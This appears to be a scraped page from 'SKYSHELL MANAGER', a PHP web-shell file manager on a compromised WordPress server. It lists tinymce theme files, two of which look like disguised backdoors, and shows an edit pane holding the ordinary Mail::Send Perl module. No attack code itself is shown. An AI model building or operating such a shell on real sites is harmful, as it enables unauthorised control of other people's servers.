📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
cstage
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
ms-files.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: Send.pm
# Copyrights 1995-2019 by [Mark Overmeer <markov@cpan.org>]. # For other contributors see ChangeLog. # See the manual pages for details on the licensing terms. # Pod stripped from pm file by OODoc 2.02. # This code is part of the bundle MailTools. Meta-POD processed with # OODoc into POD and HTML manual-pages. See README.md for Copyright. # Licensed under the same terms as Perl itself. package Mail::Send; use vars '$VERSION'; $VERSION = '2.21'; use strict; use Mail::Mailer (); sub Version { our $VERSION } #------------------ sub new(@) { my ($class, %attr) = @_; my $self = bless {}, $class; while(my($key, $value) = each %attr) { $key = lc $key; $self->$key($value); } $self; } #--------------- sub set($@) { my ($self, $hdr, @values) = @_; $self->{$hdr} = [ @values ] if @values; @{$self->{$hdr} || []}; # return new (or original) values } sub add($@) { my ($self, $hdr, @values) = @_; push @{$self->{$hdr}}, @values; } sub delete($) { my($self, $hdr) = @_; delete $self->{$hdr}; } sub to { my $self=shift; $self->set('To', @_); } sub cc { my $self=shift; $self->set('Cc', @_); } sub bcc { my $self=shift; $self->set('Bcc', @_); } sub subject { my $self=shift; $self->set('Subject', join (' ', @_)); } #--------------- sub open(@) { my $self = shift; Mail::Mailer->new(@_)->open($self); } 1;
Save